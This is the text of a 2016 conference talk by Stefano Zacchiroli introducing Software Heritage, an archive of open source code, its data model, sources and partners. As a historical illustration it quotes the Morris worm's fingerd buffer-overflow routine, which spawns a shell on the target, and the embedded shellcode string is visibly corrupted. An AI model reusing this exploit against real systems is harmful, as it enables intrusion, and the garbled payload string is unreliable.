Software Heritage
the Universal Archive of our Software Commons

Stefano Zacchiroli
Software Heritage
zack@upsilon.cc

26 November 2016
Codemotion
Milan, Italy
code by Margaret Hamilton and her NASA team, http://www.ibiblio.org/apollo/
/* This routine exploits a fixed 512 byte input buffer in a
* VAX running the BSD 4.3 fingerd binary. It send 536
* bytes (plus a newline) to overwrite six extra words in
* the stack frame, including the return PC, to point into
* the middle of the string sent over. The instructions in
* the string do the direct system call version of
* execve("/bin/sh"). */

static try_finger(host, fd1, fd2) /* 0x49ec,<just_return+378
struct hst *host;
int *fd1, *fd2;
{

/* ... */

for (i = 0; i < 536; i++) /* 628,654 */
bu[i] = '\0';
for (i = 0; i < 400; i++)
bu[i] = 1;
for (j = 0; j < 28; j++)
bu[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\3432\0\3422\0\3412\0\3402\0\3392\0\3382\0\3372\0\3362\0\3352\0\3342\0\3332\0\3322\0\3312\0\3302\0\3292\0\3282\0\3272\0\3262\0\3252\0\3242\0\3232\0\3222\0\3212\0\3202\0\3192\0\3182\0\3172\0\3162\0\3152\0\3142\0\3132\0\3122\0\3112\0\3102\0\3092\0\3082\0\3072\0\3062\0\3052\0\3042\0\3032\0\3022\0\3012\0\3002\0\2992\0\2982\0\2972\0\2962\0\2952\0\2942\0\2932\0\2922\0\2912\0\2902\0\2892\0\2882\0\2872\0\2862\0\2852\0\2842\0\2832\0\2822\0\2812\0\2802\0\2792\0\2782\0\2772\0\2762\0\2752\0\2742\0\2732\0\2722\0\2712\0\2702\0\2692\0\2682\0\2672\0\2662\0\2652\0\2642\0\2632\0\2622\0\2612\0\2602\0\2592\0\2582\0\2572\0\2562\0\2552\0\2542\0\2532\0\2522\0\2512\0\2502\0\2492\0\2482\0\2472\0\2462\0\2452\0\2442\0\2432\0\2422\0\2412\0\2402\0\2392\0\2382\0\2372\0\2362\0\2352\0\2342\0\2332\0\2322\0\2312\0\2302\0\2292\0\2282\0\2272\0\2262\0\2252\0\2242\0\2232\0\2222\0\2212\0\2202\0\2192\0\2182\0\2172\0\2162\0\2152\0\2142\0\2132\0\2122\0\2112\0\2102\0\2092\0\2082\0\2072\0\2062\0\2052\0\2042\0\2032\0\2022\0\2012\0\2002\0\1992\0\1982\0\1972\0\1962\0\1952\0\1942\0\1932\0\1922\0\1912\0\1902\0\1892\0\1882\0\1872\0\1862\0\1852\0\1842\0\1832\0\1822\0\1812\0\1802\0\1792\0\1782\0\1772\0\1762\0\1752\0\1742\0\1732\0\1722\0\1712\0\1702\0\1692\0\1682\0\1672\0\1662\0\1652\0\1642\0\1632\0\1622\0\1612\0\1602\0\1592\0\1582\0\1572\0\1562\0\1552\0\1542\0\1532\0\1522\0\1512\0\1502\0\1492\0\1482\0\1472\0\1462\0\1452\0\1442\0\1432\0\1422\0\1412\0\1402\0\1392\0\1382\0\1372\0\1362\0\1352\0\1342\0\1332\0\1322\0\1312\0\1302\0\1292\0\1282\0\1272\0\1262\0\1252\0\1242\0\1232\0\1222\0\1212\0\1202\0\1192\0\1182\0\1172\0\1162\0\1152\0\1142\0\1132\0\1122\0\1112\0\1102\0\1092\0\1082\0\1072\0\1062\0\1052\0\1042\0\1032\0\1022\0\1012\0\1002\0\992\0\982\0\972\0\962\0\952\0\942\0\932\0\922\0\912\0\902\0\892\0\882\0\872\0\862\0\852\0\842\0\832\0\822\0\812\0\802\0\792\0\782\0\772\0\762\0\752\0\742\0\732\0\722\0\712\0\702\0\692\0\682\0\672\0\662\0\652\0\642\0\632\0\622\0\612\0\602\0\592\0\582\0\572\0\562\0\552\0\542\0\532\0\522\0\512\0\502\0\492\0\482\0\472\0\462\0\452\0\442\0\432\0\422\0\412\0\402\0\392\0\382\0\372\0\362\0\352\0\342\0\332\0\322\0\312\0\302\0\292\0\282\0\272\0\262\0\252\0\242\0\232\0\222\0\212\0\202\0\192\0\182\0\172\0\162\0\152\0\142\0\132\0\122\0\112\0\102\0\92\0\82\0\72\0\62\0\52\0\42\0\32\0\22\0\12\0\02";

https://github.com/arialdomartini/morris-worm
Source code is knowledge

“Programs must be written for people to read, and only incidentally for machines to execute.” — Harold Abelson

Distinguishing features

- executable and human readable knowledge (an all time new)
- naturally evolves over time
  - development history is key to its understanding
- complex: large web of dependencies, millions of SLOCs
Definition (Commons)

The **commons** is the cultural and natural resources accessible to all members of a society, including natural materials such as air, water, and a habitable earth. These resources are held in common, not owned privately. [https://en.wikipedia.org/wiki/Commons](https://en.wikipedia.org/wiki/Commons)

Definition (Software Commons)

The **software commons** consists of all computer software which is available at little or no cost and which can be altered and reused with few restrictions. Thus *all open source software and all free software are part of the [software] commons*. […] [https://en.wikipedia.org/wiki/Software_Commons](https://en.wikipedia.org/wiki/Software_Commons)
So/f_tware is spread all around

Fashion victims

- many disparate development platforms
- a myriad places where distribution may happen
- projects tend to migrate from one place to the other over time
Software is spread all around

many disparate development platforms

a myriad places where distribution may happen

projects tend to migrate from one place to the other over time

One place...

... where can we find, track and search all source code?
Like all digital information, FOSS is fragile

- inconsiderate and/or malicious code loss (e.g., Code Spaces)
- business-driven code loss (e.g., Gitorious, Google Code)
- for obsolete code: physical media decay (data rot)
Software is fragile

Like all digital information, FOSS is fragile

- inconsiderate and/or malicious code loss (e.g., Code Spaces)
- business-driven code loss (e.g., Gitorious, Google Code)
- for obsolete code: physical media decay (data rot)

If a website disappears you go to the Internet Archive...

... where do you go if (a repository on) GitHub goes away?
Our mission

Collect, preserve and share the source code of all the software that lies at the heart of our culture and our society.
Our principles

Open approach

- 100% FOSS
- transparency

In for the long haul

- replication
- non profit
Archiving goals

Targets: VCS repositories & source code releases (e.g., tarballs)

We DO archive

- file content (= blobs)
- revisions (= commits), with full metadata
- releases (= tags), ditto
- (project metadata)
- where & when we found any of the above

... in a VCS-/archive-agnostic canonical data model

We DON’T archive (UNIX philosophy)

- homepages, wikis → collaboration with the Internet Archive
- BTS/issues/code reviews/etc.
- mailing lists

Long term vision: play our part in a "semantic wikipedia of software"
Merkle trees

Combination of:
- tree
- hash function
Merkle trees

Merkle tree (R. C. Merkle, Crypto 1979)

Combination of
- tree
- hash function

Classical cryptographic construction
- fast, parallel signature of large data structures
- widely used (e.g., Git, Bitcoin, IPFS, …)
- built-in deduplication
The archive: a (giant) Merkle DAG

Stefano Zacchirolı

Software Heritage  26/11/2016, Codemotion
create domain sha1 as bytea
check (length(value) = 20);
create domain sha1_git as bytea
check (length(value) = 20);
create domain sha256 as bytea
check (length(value) = 32);

create table content (
    sha1 sha1 primary key,
    sha1_git sha1_git not null,
    sha256 sha256 not null,
    length bigint not null,
    ctime timestamp not null default now(),
    status content_status not null default 'visible',
    object_id bigserial
);

create unique index on content(sha1_git);
create unique index on content(sha256);
Archive coverage

Our sources

- GitHub — full, up-to-date mirror
- Debian — daily snapshots of all suites since 2005–2015
- GNU — all releases as of August 2015
- Gitorious, Google Code — local copy (Archive Team & Google)
Archive coverage

Our sources

- GitHub — full, up-to-date mirror
- Debian — daily snapshots of all suites since 2005–2015
- GNU — all releases as of August 2015
- Gitorious, Google Code — local copy (Archive Team & Google)

Some numbers

150 TB blobs, 5 TB database (as a graph: 4 B nodes + 40 B edges)
Archive coverage

Our sources

- GitHub — full, up-to-date mirror
- Debian — daily snapshots of all suites since 2005–2015
- GNU — all releases as of August 2015
- Gitorious, Google Code — local copy (Archive Team & Google)

Some numbers

150 TB blobs, 5 TB database (as a graph: 4 B nodes + 40 B edges)

The *richest* source code archive already, … and growing daily!
Planned features...

- *lookup* by content hash (done)
- *download*: `wget` and `git clone` from Software Heritage
- *provenance information* for all archived code and metadata
- *browsing*: wayback machine for archived code and its history
- *full-text search* on all archived source code files
The road ahead

Planned features…

- *lookup* by content hash (done)
- *download*: `wget` and `git clone` from Software Heritage
- *provenance information* for all archived code and metadata
- *browsing*: wayback machine for archived code and its history
- *full-text search* on all archived source code files

… and much more than one could possibly imagine

all the world’s software development history in a single graph!
An ambitious, worldwide initiative

Inria as initiator

- .fr national CS research institution
- strong FOSS culture
- founding partner of the W3C
An ambitious, worldwide initiative

**Inria as initiator**
- .fr national CS research institution
- strong FOSS culture
- founding partner of the W3C

**Supporters and early partners**
ACM, Nokia Bell Labs, Creative Commons, DANS, Eclipse, Engineering, FSF, OSI, GitHub, GitLab, IEEE, Informatics Europe, Microsoft, OIN, OW2, SIF, SFC, SFLC, The Document Foundation, The Linux Foundation, …
An ambitious, worldwide initiative

Inria as initiator

- .fr national CS research institution
- strong FOSS culture
- founding partner of the W3C

Supporters and early partners

ACM, Nokia Bell Labs, Creative Commons, DANS, Eclipse, Engineering, FSF, OSI, GitHub, GitLab, IEEE, Informatics Europe, Microsoft, OIN, OW2, SIF, SFC, SFLC, The Document Foundation, The Linux Foundation, …

Going global

building an open, multistakeholder, nonprofit global organisation
Conclusion

Software Heritage is

- a revolutionary *reference archive* of *all* FOSS ever written
- a unique *complement* for *development platforms*
- an international, open, nonprofit, *mutualized infrastructure*
- at the service of our community, at the service of society!

Come in, we’re open!

www.softwareheritage.org — *sponsoring*, *job openings*
wiki.softwareheritage.org — *internships*, *leads*
forge.softwareheritage.org — *our own code*

Questions?